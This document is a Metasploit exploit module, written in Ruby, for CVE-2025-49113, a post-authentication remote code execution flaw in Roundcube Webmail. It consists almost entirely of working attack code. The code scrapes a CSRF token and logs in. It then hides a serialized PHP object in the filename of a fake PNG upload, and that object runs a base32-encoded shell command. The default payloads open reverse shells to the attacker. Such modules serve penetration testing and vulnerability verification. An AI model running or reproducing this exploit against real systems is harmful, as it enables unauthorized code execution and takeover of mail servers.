Roundcube Webmail RCE Vulnerability Exploited via PHP Object Deserialization

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization',
        'Description' => %q{
          Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution
          by authenticated users because the _from parameter in a URL is not validated
          in program/actions/settings/upload.php, leading to PHP Object Deserialization.

          An attacker can execute arbitrary system commands as the web server.
        },
        'Author' => [
          'Maksim Rogov', # msf module
          'Kirill Firsov', # disclosure and original exploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-49113'],
          ['URL', 'https://fearsoff.org/research/roundcube']
        ],
        'DisclosureDate' => '2025-06-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Platform' => ['unix', 'linux'],
        'Targets' => [
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64, ARCH_X86, ARCH_ARMLE, ARCH_AARCH64],
              'Type' => :linux_dropper,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => [ARCH_CMD],
              'Type' => :nix_cmd,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
            }
          ]
        ],
        'DefaultTarget' => 0
      )
      )

    register_options(
      [
        OptString.new('USERNAME', [true, 'Email User to login with', '' ]),
        OptString.new('PASSWORD', [true, 'Password to login with', '' ]),
        OptString.new('TARGETURI', [true, 'The URI of the Roundcube Application', '/' ]),
        OptString.new('HOST', [false, 'The hostname of Roundcube server', ''])
      ]
    )
  end

  class PhpPayloadBuilder
    def initialize(command)
      @encoded = Rex::Text.encode_base32(command)
      @gpgconf = %(echo "#{@encoded}"|base32 -d|sh &#)
    end

    def build
      len = @gpgconf.bytesize
      %(|O:16:"Crypt_GPG_Engine":3:{s:8:"_process";b:0;s:8:"_gpgconf";s:#{len}:"#{@gpgconf}";s:8:"_homedir";s:0:"";};)
    end
  end

  def fetch_login_page
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'keep_cookies' => true,
      'vars_get' => { '_task' => 'login' }
    )

    fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200
    res
  end

  def check
    res = fetch_login_page

    unless res.body =~ /"rcversion"\s*:\s*(\d+)/
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract version number")
    end

    version = Rex::Version.new(Regexp.last_match(1).to_s)
    print_good("Extracted version: #{version}")

    if version.between?(Rex::Version.new(10100), Rex::Version.new(10509))
      return CheckCode::Appears
    elsif version.between?(Rex::Version.new(10600), Rex::Version.new(10610))
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def build_serialized_payload
    print_status('Preparing payload...')

    stager = case target['Type']
             when :nix_cmd
               payload.encoded
             when :linux_dropper
               generate_cmdstager.join(';')
             else
               fail_with(Failure::BadConfig, 'Unsupported target type')
             end

    serialized = PhpPayloadBuilder.new(stager).build.gsub('"', '\\"')
    print_good('Payload successfully generated and serialized.')
    serialized
  end

  def exploit
    token = fetch_csrf_token
    login(token)

    payload_serialized = build_serialized_payload
    upload_payload(payload_serialized)
  end

  def fetch_csrf_token
    print_status('Fetching CSRF token...')

    res = fetch_login_page
    html = res.get_html_document

    token_input = html.at('input[name="_token"]')
    unless token_input
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token")
    end

    token = token_input.attributes.fetch('value', nil)
    if token.blank?
      fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty")
    end

    print_good("Extracted token: #{token}")
    token
  end

  def login(token)
    print_status('Attempting login...')
    vars_post = {
      '_token' => token,
      '_task' => 'login',
      '_action' => 'login',
      '_url' => '_task=login',
      '_user' => datastore['USERNAME'],
      '_pass' => datastore['PASSWORD']
    }

    vars_post['_host'] = datastore['HOST'] if datastore['HOST']

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => vars_post,
      'vars_get' => { '_task' => 'login' }
    )

    fail_with(Failure::Unreachable, "#{peer} - No response during login") unless res
    fail_with(Failure::UnexpectedReply, "#{peer} - Login failed (code #{res.code})") unless res.code == 302

    print_good('Login successful.')
  end

  def generate_from
    options = [
      'compose',
      'reply',
      'import',
      'settings',
      'folders',
      'identity'
    ]
    options.sample
  end

  def generate_id
    random_data = SecureRandom.random_bytes(8)
    timestamp = Time.now.to_f.to_s
    Digest::MD5.hexdigest(random_data + timestamp)
  end

  def generate_uploadid
    millis = (Time.now.to_f * 1000).to_i
    "upload#{millis}"
  end

  def upload_payload(payload_filename)
    print_status('Uploading malicious payload...')

    # 1x1 transparent pixel image
    png_data = Rex::Text.decode_base64('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
    boundary = Rex::Text.rand_text_alphanumeric(8)

    data = ''
    data << "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"_file[]\"; filename=\"#{payload_filename}\"\r\n"
    data << "Content-Type: image/png\r\n\r\n"
    data << png_data
    data << "\r\n--#{boundary}--\r\n"

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "?_task=settings&_remote=1&_from=edit-!#{generate_from}&_id=#{generate_id}&_uploadid=#{generate_uploadid}&_action=upload"),
      'ctype' => "multipart/form-data; boundary=#{boundary}",
      'data' => data
    })

    print_good('Exploit attempt complete. Check for session.')
  end
end